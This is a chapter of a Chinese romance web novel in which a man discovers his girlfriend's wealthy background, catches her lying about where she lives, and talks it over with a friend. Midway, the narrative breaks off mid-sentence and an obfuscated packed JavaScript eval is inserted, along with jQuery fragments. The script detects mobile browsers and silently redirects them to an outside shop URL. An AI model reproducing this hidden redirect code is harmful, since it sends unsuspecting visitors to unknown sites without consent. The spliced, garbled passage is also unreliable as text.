文趣网 > 其他小说 > 藏心于幡起时 > 49. 隐瞒
    “想什么呢老陆,叫你打球都不来?你是没看见,今晚我可是大杀四方,独孤求败啊。”

    赵平昱叼着烟从台球房出来,远远就望见陆藏峤一个人坐在台阶上发呆,抬手一把搭上了他的肩。

    陆藏峤的手机屏幕还亮着,苏绣人文宣传片的画面不断流转。视频里清一色的旗袍姑娘引入眼帘,全都专心致志地学习绣花技艺。

    “这谈恋爱了之后是不一样了,都开始看这么文艺的片子。”赵平昱打趣完定睛一看,才在人群的边缘发现了熟悉的身影,“我说呢,这不是我小庄妹妹嘛,怎么还来当群演了?”

    陆藏峤没说话,却骤然哀怨地抬头与他对视。

    赵平昱被他这副低落的模样看得莫名心虚,低头再看屏幕,一眼就瞥见了置顶热评里的几个大字。

    ——云丝御绣少当家。

    他尴尬地笑了两声:“原来小庄妹妹还是个超级富二代,怎么……都没听你提过?”

    陆藏峤神色晦暗,默默暗灭了手机屏幕,又随手丢在一边。

    他之前听庄林菀轻描淡写地提起家里做苏绣绣品的小生意,以为就是普通的家庭作坊。可看到评论区热议的内容才意识到,她的家境远非是自己想的那么简单。

    夜里的风并不是很凉,却一点点吹得他心口冷飕飕的。

    他从小都自诩是天之骄子,又一步步靠着自己的努力打拼到了现在。可悬殊的家境骤然横亘在两人之间,一股难以排解的情绪漫上心头。

    也不知道过了多久,他像是自言自语地问出声。

    “我是不是太不自量力了,总有那么多不切实际的奢望?”

    人总是有很多不切实际的奢望,遥不可及时盼着得到,得到了又害怕失去。

    “这……这话从何说起啊?”赵平昱一头雾水。

    “她跟我说家里做点绣品小生意,我也就没有多问。”他垂下头轻摇,语气疲惫,“没事,你回去玩吧。”

    那点难堪的自我怀疑实在说不出口,赵平昱见他不想多说,也就不再追问,转头回了台球房。

    陆藏峤在台阶上坐了许久,直到周遭的喧闹都淡了下去,他才勉强压下所有情绪,点开了和庄林菀的对话框。

    庄林菀仓促从家里搬出来,转了房租给周淮卿之后,手头拮据。高佩鑫看得心疼,就送了她几套全新的睡衣和一些生活用品,勉强能维持日常生活。

    夜里,她刚对着镜子按压护肤,就听见微信响了一声。

    陆藏峤发给她一张两人之前的聊天截图。

    庄林菀不明所以,回赠了一个问号。

    “再仔细看看呢?小,庄,总。”

    被他这么一提醒,她终于发现他的聊天背景是《守艺·毓秀》里的截图。她身着旗袍的画面被他放大好几倍,裁剪成壁纸大小的背景。

    她完全忽略掉这个称呼,弯着眼角轻笑:“就这么被我的美貌吸引了?”

    他立刻回以一条温润悦耳的语音:“我现在想跟我美貌的女朋友打个视频,可以吗?”

    “可以,非常可以。”

    视频接通的第一秒,陆藏峤就立刻将自己原本想说的话抛在脑后,因为他敏锐地发现了她身后那副陌生的装饰画。

    “你这是在哪儿?又出差了?”

    她一惊,下意识回头瞄了一眼,随口扯个谎:“没有,在佩鑫家呢。是谢韦瀚出差了,她说一个人在家待着也无聊,就让我来陪她住一段时间。”

    视频两端的人各有心事,却都刻意收敛着情绪,打起精神笑着相对。

    陆藏峤疑虑未消,又试探性地问:“真的是出差了?”

    “真的呀,我骗你干嘛。”

    “那你俩现在是,一人住一间?”

    房间里的陈设过分简单,根本就没有高佩鑫的任何痕迹,甚至连她自己的东西都少得可怜,怎么看都不像是长期居住的住所。

    “没有啊,她去洗澡了,这不是给咱俩腾地方嘛。”

    “哦。”陆藏峤低声回应了句。

    他原本是打算借着视频旁敲侧击地再确认一遍,可话到嘴边又硬生生咽了回去。

    他不敢问。

    不过才三天没见,陆藏峤觉得已经过了漫长的岁月。隔着千里,他根本也没办法给她任何实际性的东西。

    无力感像潮水一样将他吞没,于是他也突然沉默下来,轻声说了句:“对不起。”

    “啊?”庄林菀错愕地抬头,“你为什么突然跟我道歉啊?”

    “跟我在一起,让你独自承担了那么多。”

    庄林菀也不知道他为什么突然会这么想,只能转而去安抚他的情绪:“没有啊,我没有因为这个事情不高兴,我们在一起的时候我就知道的,我一点儿都没有责怪你的意思。”

    “菀菀。”

    “嗯?”她急着同他解释,却根本没注意到他愈发深沉的神情。

    “下个月我请几天年假来看你,好吗?”

    “我……”

    诚实地说,她当然很高兴,但绝不希望是在这样的对话之下提出来的。更何况以她现在的处境,根本也不敢让他过来。

    “你别跑了,我真的没事的。我请假肯定比你容易多了,到时候我来看你吧。”

    “嗯,不早了,快睡觉吧。”

    “好,晚安。”

    视频挂断,陆藏峤心头的疑团并未消散,他总觉得庄林菀有什么事情瞒着他,就想第一时间找高佩鑫问问清楚。

    可他想了想又觉得这么晚给女孩子打电话不大合适,随即拨通了另一个号码。

    “韦瀚,我是陆藏峤。”

    “我知道陆工,当时存了你电话的。这么晚了,是有什么事吗?”

    他指尖轻捻了捻:“抱歉这个点打扰你,我就想跟你打听一下……”

    “谁来的电话啊?”

    谢韦瀚冲浴室的女人喊了声:“哦,陆工打来的。”

    短短两句对话,他就立刻清晰分辨出那是高佩鑫的声音,庄林菀蹩脚的谎言已经不攻自破。

    他觉得没必要再问,于是随便挑起个话题:“我们这边刚收了些高原特产,想寄一点给你们。你看是你发个地址给我,还是我都寄给菀菀,让她拿给你们?这段时间她也给你们添不少麻烦。”

    “哦,这事儿啊。”谢韦瀚也没多想,“都行,要不给菀菀吧。我们跟她认识那么久了,三天两头都见面的,别那么客气。”

    “好,打扰了。”

    谢韦瀚觉得他大半夜打这一通电话简直莫名其妙,挂断之后还举着手机想了半天。高佩鑫脱了鞋上床,将刚刚剩的护肤霜尽数擦到他脸上,又胡乱帮他抹了抹。

    “他这么晚打电话来什么事啊?”

    “不知道,奇奇怪怪的,说要给我们寄特产。”

    高佩鑫听着也觉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17882955|209375||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得有点不对劲,但又说不上来什么。她估计他是想旁敲侧击问菀菀的事,但既然人家没开口,她也没必要多事。

    夜色更深,赵平昱回来之后惊讶地发现,陆藏峤居然还坐在那儿,旁边还堆了好几个烟头。

    倒是难得见他这么失态。

    “这么晚了还不睡,这是在望月思人呐?想我小庄妹妹了?”

    “你俩面都没见过,少喊得那么亲热。”

    “哎哟哟,不就喊两声,看把你急得。不过你这脸色是几个意思?吵架了?”

    他其实不大想说,但转念一想,在这件事上能真正帮他出谋划策的人屈指可数。赵平昱虽然平时看着不大正经,但有时候说的也还挺有道理的,他索性就把自己的想法摊开来讲。

    “我就是觉得,我们俩的打开方式不对。”

    “怎么说?”

    “就,在我看来,我们早就应该是亲密无间的关系了,可那会儿我们甚至还没在一起,她很多事情自然不会告诉我,当然我也没有立场管她。”他嗓音越来越沉,“现在在一起之后,虽然她每天跟我视频看起来也挺开心的,但我总觉得她还是有所保留,我根本没办法走到她心里去。”

    赵平昱觉得这话说得有点重了:“不是,你这何以见得啊?”

    “你看就像今天这事儿,我发现她没在家住就顺嘴问了一句,结果她骗我说是在朋友那儿。我打电话跟她朋友确认,发现根本就不是她说的那么回事。”

    异地恋最忌讳隐瞒了,两个人明明距离都已经那么遥远,如果心里的想法都藏着掖着的话,互相都很难支撑下去。赵平昱也多少感觉有点问题,但还是劝他:“兴许没什么大事呢?她怕你担心就没告诉你。”

    “什么事情能严重到她需要从家里搬出去呢?”他仔细想了想,叹口气,“我们在一起的事情她没跟家里说,如果一定要分析的话,她那样的家境……”

    “你别总往这件事上联想,难道她父母会不同意?”

    “我不知道,但我估计是不大赞成。”他摇摇头,“而且,刚刚我说下个月请年假去找她,她也拒绝了。明明她已经那么不开心,却一个字都没跟我提。很多时候我都感觉,对她来说好像有没有我这么一人都无所谓,从始至终都没对我敞开心扉。”

    这种深陷其中又抽离之外的感觉实在很不好受,但他也不知道该如何排解。

    “你这怎么还越说越严重了,真要讨论起来,你有资格指责人家吗?难道你现在工作和生活上的事,会事无巨细地告诉她吗?”

    “我……”

    “我看你就是拧巴得很,你自己有事就藏着掖着,偏偏还要人家对你毫无保留。而且,我觉得你要是真想知道就直接开口问她,总好过你自己在这儿伤春悲秋。”

    陆藏峤不满地“啧”了声,赵平昱便按着他的肩膀借力起身:“行了,别多想了。我看你就是工作不够饱和,天天都累得跟狗似的,还有功夫在那儿猜来猜去。自己好好想想吧,我觉得她不是不信任你的意思,别为这种事跟人家闹脾气啊。”

    “知道了。”

    两人就这么别别扭扭过了一周,互相也都心照不宣地没有再提起这件事。到了周日的晚上,庄林菀洗漱完关上台灯准备睡觉,突然就听见一声极其微弱的敲门声。

    “咚咚——”她瞬间整个人紧绷起来,竖起耳朵仔细听了听。

    “砰砰砰——”